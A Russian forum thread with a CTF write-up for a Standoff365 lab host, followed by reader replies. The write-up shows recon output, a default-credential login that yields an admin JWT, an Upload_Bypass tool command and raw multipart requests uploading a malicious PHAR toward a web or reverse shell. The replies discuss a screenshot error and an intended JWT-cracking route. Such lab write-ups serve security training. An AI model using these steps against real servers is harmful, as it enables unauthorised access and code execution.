 |
|

23.12.2024, 20:40
|
|
Познающий
Регистрация: 12.09.2024
Сообщений: 41
С нами:
880165
Репутация:
0
|
|
Платформа : standoff365.com
Оглавление:
1. Nmap
2. Bypass redirect via jwt token
3. После обхода
4. Роботы на подработке
5. Руками
6. P.S от автора
Nmap
Проводим стартовую разведку
Из портов на сайте нет ничего интересного
Код:
Код:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1720/tcp open h323q931
direcoty через feroxbuster не нашёл ничего интересного
Код:
Код:
http://10.124.1.241/secret/
http://10.124.1.241/index.php
http://10.124.1.241/styles/
http://10.124.1.241/uploads/
http://10.124.1.241/js/
Роботы говорят
Код:
Код:
User-agent: *
Disallow: /secret/
Disallow: /core/
Disallow: /uploads/
Bypass redirect via jwt token
через перебор каталогов находим
Код:
http://10.124.1.241/js/
Cтоит обратить внимание на следующий файлик.
Код:
http://10.124.1.241/js/auth.js
Из него можно выписать следующие php файлы
1. сore/userLogin.php
2. secret/secretPanel.php
Из файла auth.js я увидел поля ввода данных ,а вводить нужно в core/userLogin.php
Далее чуть чуть причесал(добавил отправку данных в формате JSON + method: POST) запрос
И только хотел начать перебор паролей , как на 123456 все подошло
Код:
Код:
POST /core/userLogin.php HTTP/1.1
Host: 10.124.1.241
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Cookie: pma_lang=en;
Upgrade-Insecure-Requests: 1
Content-Length: 53
{
"username": "admin",
"password":"123456"
}
В ответ на этот запрос я получил jwt token
Код:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6ImFkbWluQG11c2ljay5jb20iLCJpc3MiOiJsb2NhbGhvc3QiLCJhdWQiOiJsb2NhbGhvc3QiLCJpYXQiOjE3Mjc0NDYzMTUsImV4cCI6MTcyNzQ0OTkxNX0.fFS_sVBsE1Xgby-9edtjByHPkq-AAmeZ_rfV5SzIKXU
Проверим через сайт начинку токена (site: JWT.IO) , увидел что токен Админский значит : нужно его куда-нибудь подставить
Берем нежно наш токен , чтобы пока несли не сломался
и идем в
После обхода
мы получили страничку где можем загружать файлы , почему бы нам что нибудь да не загрузить?
Роботы на подработке
Решил проверить эффективность следующего инструмента
Код:
https://github.com/sAjibuu/Upload_Bypass?tab=readme-ov-file
Пример команды для перебора
Код:
python upload_bypass.py -r test -s 'file has been uploaded' -E php -D /uploads --burp_http --exploit
Содержимое файла test, было изменено в зависимости от документации
Код:
https://github.com/sAjibuu/Upload_Bypass?tab=readme-ov-file#example-2
Код:
Код:
POST /secret/uploadMusic.php HTTP/1.1
Host: 10.124.1.241
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------20454028017691591591771889877
Content-Length: 178827
Origin: http://10.124.1.241
DNT: 1
Connection: keep-alive
Cookie: jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6ImFkbWluQG11c2ljay5jb20iLCJpc3MiOiJsb2NhbGhvc3QiLCJhdWQiOiJsb2NhbGhvc3QiLCJpYXQiOjE3Mjc0NjA5MzcsImV4cCI6MTcyNzQ2NDUzN30.Twzf56dfM2tXd6ZDWfA35Xt_so3nXWHiZGHhBg6n9aw
Upgrade-Insecure-Requests: 1
-----------------------------20454028017691591591771889877
Content-Disposition: form-data; name="userfile"; filename="*filename*"
Content-Type: *mimetype*
*data*
-----------------------------20454028017691591591771889877
Content-Disposition: form-data; name="upload_btn"
Upload
-----------------------------20454028017691591591771889877--
Руками
В процессе поиска нашёл вот такую забавную штуку
https://owasp.org/www-chapter-pune/meetups/2023/Jan/File-upload-Vulnerability-Praveen-Sutar.pptx.pdf
PHAR (PHP Archive) — это формат, который позволяет упаковывать файлы PHP и другие ресурсы в один архив, что облегчает распространение и использование приложений. PHAR-файлы могут содержать PHP-код, библиотеки, изображения и другие ресурсы, что делает их удобными для развертывания.
- Исполняемость: PHAR-файлы могут быть исполняемыми. Это означает, что вы можете запускать их как обычные скрипты PHP.
Запрос При перехвате в burp и указываем payloads для нашего вредосоного архива
Код:
Код:
POST /secret/uploadMusic.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Host: 10.124.1.241
Content-Type: multipart/form-data; boundary=---------------------------20454028017691591591771889877
Content-Length: 706
Origin: http://10.124.1.241
DNT: 1
Cookie: jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6ImFkbWluQG11c2ljay5jb20iLCJpc3MiOiJsb2NhbGhvc3QiLCJhdWQiOiJsb2NhbGhvc3QiLCJpYXQiOjE3Mjc0NjA5MzcsImV4cCI6MTcyNzQ2NDUzN30.Twzf56dfM2tXd6ZDWfA35Xt_so3nXWHiZGHhBg6n9aw
Upgrade-Insecure-Requests: 1
-----------------------------20454028017691591591771889877
Content-Disposition: form-data; name="userfile"; filename="bob.phar"
Content-Type: audio/mpeg
-----------------------------20454028017691591591771889877
Content-Disposition: form-data; name="upload_btn"
Upload
-----------------------------20454028017691591591771889877--
После получения revshell or url?cmd Забираем их* флаг
P.S
Возможно Заметки/Статьи не будут публиковаться на форуме Antichat.net , а вот тут в формате Папки/Архива для приложения Obsidian - Sharpen your thinking , но на данный момент Архив пуст GitHub - username6345/writeups_for_the_reader: different ctf tasks or something else
Возможно еще увидимся тут, ... и нет) не там где вы подумали.
|
|
|

30.12.2024, 20:39
|
|
Новичок
Регистрация: 07.02.2023
Сообщений: 0
С нами:
1719376
Репутация:
0
|
|
Спасибо за райтап, но у меня есть странное чувство недопонимания одной части.
После того как нашли http://10.124.1.241/js/auth.js, посмотрели и прочитали его и поняли что там POST и username и password
и когда мы дошли до самого запроса POST /core/userLogin.php HTTP/1.1 то откуда мы взяли кукисы Cookie: pma_lang=en; phpMyAdmin=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.ey JuYW1lIjoiYWRtaW4iLCJlbWFpbCI6ImFkbWluQG11c2ljay5j b20iLCJpc3MiOiJsb2NhbGhvc3QiLCJhdWQiOiJsb2NhbGhvc3 QiLCJpYXQiOjE3Mjc0NDYzMTUsImV4cCI6MTcyNzQ0OTkxNX0. 1wjbTxu7rX-cLp6xX_asq7Ki4BzfD4IQChZSBKea3dM;
для получения других кукисов?
Надеюсь понятно спросил =)
ЗЫ
С наступающими праздниками!
|
|
|

30.12.2024, 21:06
|
|
Познающий
Регистрация: 12.09.2024
Сообщений: 41
С нами:
880165
Репутация:
0
|
|
yetiraki сказал(а):
Спасибо за райтап, но у меня есть странное чувство недопонимания одной части.
После того как нашли http://10.124.1.241/js/auth.js, посмотрели и прочитали его и поняли что там POST и username и password
и когда мы дошли до самого запроса POST /core/userLogin.php HTTP/1.1 то откуда мы взяли кукисы Cookie: pma_lang=en; phpMyAdmin=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.ey JuYW1lIjoiYWRtaW4iLCJlbWFpbCI6ImFkbWluQG11c2ljay5j b20iLCJpc3MiOiJsb2NhbGhvc3QiLCJhdWQiOiJsb2NhbGhvc3 QiLCJpYXQiOjE3Mjc0NDYzMTUsImV4cCI6MTcyNzQ0OTkxNX0. 1wjbTxu7rX-cLp6xX_asq7Ki4BzfD4IQChZSBKea3dM;
для получения других кукисов?
Надеюсь понятно спросил =)
ЗЫ
С наступающими праздниками!
Опечатка* в решени:
Когда мы делаем запрос на получение Jwt
мы меняем запрос на POST и добавляем данные в формате Json
Скрин 1 я получаю Jwt без куки(в решении забыл убрать куки и сделай скрин уже после решения когда они прицепились к моим запросам )что ввел вас в заблуждение
После данного комментария из writeups была убрана данная деталь
|
|
|

30.12.2024, 21:17
|
|
Новичок
Регистрация: 07.02.2023
Сообщений: 0
С нами:
1719376
Репутация:
0
|
|
Archivist сказал(а):
Опечатка* в решени:
Когда мы делаем запрос на получение Jwt
мы меняем запрос на POST и добавляем данные в формате Json
Скрин 1 я получаю Jwt без куки(в решении забыл убрать куки и сделай скрин уже после решения когда они прицепились к моим запросам )что ввел вас в заблуждение
После данного комментария из writeups была убрана данная деталь
Спасибо.
Я себе и так все голову сломал с этим таском, а оказалось как минимум проще, чем я думал, но вот в этом месте прям завис.
|
|
|

01.04.2026, 17:50
|
|
Новичок
Регистрация: 04.10.2018
Сообщений: 0
С нами:
4004893
Репутация:
0
|
|
У вас скорее всего альтернативное решение. По задумке, нужно было взламывать JWT-токен, который выдавался при нажатии на кнопку на главное странице сайта.
|
|
|

10.06.2026, 01:00
|
|
Новичок
Регистрация: 21.12.2002
Сообщений: 2
С нами:
12308264
Репутация:
1
|
|
Раньше такие задачи казались намного сложнее, сейчас всё проще с JWT — подбросил, получил токен и прошёл куда надо. Раньше на перебор паролей тратил кучу времени, а тут "123456" сработал сразу, почти как шутка. Впрочем, с загрузкой файлов и обходом защиты поинтереснее, раньше такого не видел.
|
|
|

11.06.2026, 15:00
|
|
Новичок
Регистрация: 15.01.2003
Сообщений: 13
С нами:
12272668
Репутация:
0
|
|
Пока не совсем ясно, насколько реальна эта простота с JWT. Такое ощущение, что где-то могла быть халтура или баг, что пароль «123456» сработал с первого раза — обычно так просто не бывает. С загрузкой файлов тоже подозрительно, что обход столько раз проверили, а защиты толком не сработали. Лучше еще пару раз пересмотреть логику, а не принимать за чистую монету.
|
|
|

14.06.2026, 16:00
|
|
Новичок
Регистрация: 01.12.2002
Сообщений: 5
С нами:
12336356
Репутация:
0
|
|
Раньше с такими задачами реально помучился бы, а тут «123456» сразу сработал — прям сказка какая-то. JWT сейчас, видимо, проще крутят, чем раньше, и багов по мелочи побольше попадается, вот и кажется, что защита слабая. Логику точно стоит перепроверить, часто там зарыто то, что на первый взгляд не видно.
|
|
|

16.06.2026, 00:50
|
|
Новичок
Регистрация: 04.07.2012
Сообщений: 13
С нами:
7293206
Репутация:
0
|
|
Ну да, с JWT сейчас часто проще, чем раньше, потому и с такими простыми паролями "123456" залетает сразу — баги попадаются. С загрузкой файлов тоже обычно что-то недоделанное у разработчиков, логика тут ключевая, там много нюансов, которые на первый взгляд не видны. Проверка по несколько раз точно не помешает, чтобы не упустить мелочи.
|
|
|

16.06.2026, 18:10
|
|
Новичок
Регистрация: 25.11.2017
Сообщений: 29
С нами:
4456406
Репутация:
3
|
|
Сомнительно, что всё так просто с JWT и "123456" — либо халтура, либо баг в конкретной реализации. Обычно там не всё так гладко. С загрузкой файлов тоже часто что-то упускают, просто так обходить не должно получаться.
|
|
|
|
 |
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|